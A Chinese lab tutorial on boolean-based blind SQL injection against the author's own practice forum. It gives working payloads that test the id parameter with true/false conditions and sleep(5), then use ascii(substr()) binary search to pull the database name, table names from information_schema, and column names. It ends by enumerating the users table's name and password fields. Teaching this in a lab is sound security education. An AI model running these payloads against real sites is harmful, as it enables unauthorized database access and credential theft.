目录
1 概述
- 当改变浏览器带入给后台SQL的参数后,浏览器没有显示对应内容也没有显示报错信息时,无法使用union联合查询注入与报错注入,这时候可以试试看能否使用布尔注入。
- 布尔盲注:一般情况下,当带入参数为真和假时,页面会有不同的反映,比如有无显示也是一种不同,布尔盲注就是根据这种不同来反推我们输入的条件是真还是假。
2 实验平台
- 实验靶场——虚拟机:本节实验靶场是在win2008系统上基于phpstudy搭建的一个简单网站,win2008及phpstudy的安装过程可以参考《win2008R2SP1+WAMP环境部署》,网站的搭建过程可以参考《综合实验:一个简单丑陋的论坛网站》
- 注入工具——真实机:本实验利用火狐浏览器来实现union注入,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。安装后出现下图左侧的东西。
3 实验步骤
3.1 判断是否存在注入点及注入的类型
在该阶段主要是尝试不同的输入参数,根据网页反馈信息来判断是否存在注入点以及注入类型,如是否是字符型还是数值型,是否存在延迟注入等。
- 用浏览器访问我们的留言论坛,并点击第一条留言进入测试界面。
- 将参数修改为
?id=2
,并点击run,看到页面变化如下,弹出第二条留言内容。
- 继续修改参数
?id=5
,并点击send,看到response内容如下。
- 继续修改参数
?id=6
,并点击send,看到页面如下。可以看到当id>5后,response中没了“作者、标题和留言”的具体内容。
- 测试后台对参数真假性的判断,修改参数
id=1 and 1 =1
,由于and 1=1 为真,所以页面应返回与id=1相同的结果, 修改参数 id=1 and 1=2 ,由于 and 1=2 为假 , 所以页面应返回与 id=1 不同的结果,如下图所示。也就是说是否能正常回显内容与语句的真假性有关。
- 为了判断注入是数字型或是字符型,继续修改参数
?id=1'
,就是多了一个单引号,并点击run,看到页面如下。除了标题没有任何回馈信息,可以判断的是该语句带入到SQL中执行时,无法正常执行回显内容,但没有提示错误信息不知道能不能就判断是数字型的注入。
- 为判断参数是否存在延迟注入,按F12打开调试面板,在左侧继续修改参数为
?id=1 and sleep(5)
,并点击run。可以看到sleep语句对网页的响应起到作用,也就是意味着存在延迟注入的可能。
- 结论:
- 因为id参数是用户可控的,会随请求带入到数据库中执行并回显相应内容,是一个注入点。虽然可以用union注入,但是在本实验中我们演示如何使用布尔盲注。
- 当参数后加上单引号时,无法正常回显,说明参数应该是数字型。
- 当参数后条件为假时,无法正常回显,说明网页存在布尔类型状态。
- sleep语句对网页的响应起到作用,也就是意味着存在延迟注入。
- 从联合注入到盲注以及延迟注入,其时间人力成本逐步增大,尽可能选择低成本方式进行注入。
- 同时我们也猜测后台SQL语句为
select XX from XXX where id = {$id}
。
3.2 测试数据库名长度
- 修改参数为
?id=1 and length(database())<10
,页面正常显示,说明数据库名长度小于10为真。
- 继续修改参数为
?id=1 and length(database())<5
,页面没有显示内容,说明数据库名长度小于5为假,也就是说数据库名长度为5到9,包括5和9。
- 继续修改参数为
?id=1 and length(database())<7
,页面没有显示内容,说明数据库名长度小于7为假,也就是说数据库名长度为7、8或9。
- 继续修改参数为
?id=1 and length(database())<8
,页面正常显示,结合前几步测试结果,说明数据库名长度等于7。
3.3 逐个测试数据库名字符
- 可以将字母特殊符号和数字等逐个带入到参数中去判断,但是这些效率比较低,我们可以将字符转换为ASCII编码,利用数值能采用大小于号的判断方法,可以一次判断一大半,效率显著提高。ASCII公有178个字符,详细表单请查看《ASCII百科》
- 这里需要用一个函数来获取数据库名的某一个字符,在不同数据库中方法不一致,常见的有:
- MySQL:substr(str,pos,len), substring(str,pos,len)。
- Oracle:substr(str,pos,len)。
- SQL Server:substring(str,pos,len)。
- 其中pos=1时表示的是字符串str的第1个字符。
- 修改参数为
?id=1 and ascii(substr(database(),1,1))>89
,页面正常显示,表示第一个字符ASCII码大于89。
- 取89与178的中间数134进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>134
,页面错误显示,表示第一个字符ASCII码为[90,134]间的整数。
- 取90与134的中间数112进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>112
,页面错误显示,表示第一个字符ASCII码为[90,112]间的整数。
- 取90与112的中间数101进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>101
,页面正常显示,表示第一个字符ASCII码为[102,112]间的整数。
- 取102与112的中间数107进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>107
,页面正常显示,表示第一个字符ASCII码为[108,112]间的整数。
- 取108与112的中间数110进行判断,修改参数为
?id=1 and ascii(substr(database(),1,1))>110
,页面内容没有显示,表示第一个字符ASCII码为[108,109]间的整数,即是108或109。
- 修改参数为
?id=1 and ascii(substr(database(),1,1))=109
,页面正常显示,说明第一个字符的ASCII码是109,查表可得该字符为m。
- 按同样方法可以测试出其他6位字符,得到数据库名为my_test。
- 思路推广:可以无需先测试字符串长度,直接逐个分析每个字符串的ASCII码,先判断其是等于0,如果等于0则说明该位为空字符(空字符不是空格),字符串结束。
3.4 测试该数据库中所有表名
- 思路:先测出该数据库下有几张表,再测试表名的每个字符。
- 先测试my_test数据库中有多少个表。修改参数为
?id=1 and (select count(table_name) from information_schema.tables where table_schema = 'my_test')<5
,页面正常显示,逐步调整参数,最后判断表数量有2个。
- 直接逐个字符分析,输入参数
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=0
,页面显示异常,说明该位置字符串非空。
- 当某个表格连续两个字符均为空时,结束该表格名的测试。经过多次测试,输入以下命令均为真,可得两个表名依次为messages和users。
/*第一个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),1,1))=109 //m
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),2,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),3,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),4,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),5,1))=97 //a
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),6,1))=103 //g
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),7,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),8,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),9,1))=0 //空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 0,1),10,1))=0 //空字符
/*第二个表名*/
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),1,1))=117 //u
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),2,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),3,1))=101 //e
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),4,1))=114 //r
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),5,1))=115 //s
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),6,1))=0 //空字符
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema = 'my_test' limit 1,1),7,1))=0 //空字符
3.5 测试users表所含字段名
- 先测试users表中有多少个字符段。经过多次测试,修改参数为
?id=1 and (select count(column_name) from information_schema.columns where table_name = 'users')=5
,页面正常显示,说明该表有5个字段。 - 按类似测试表名的方式,可以测试出所有字段名依次为id、name、password、photo、signature。
3.6 测试name字段和password字段所在字段内容
- 先测试name字段还有多少内容,经过多次测试,修改参数为
?id=1 and (select count(name) from users)=3
,页面正常显示,说明name字段有3个内容。同理password字段有3个内容。 - 与表名和字段名同理,可测试出name和password字段所有内容。
4 总结
- 理解布尔注入的判断原理;
- 掌握布尔盲注的方法。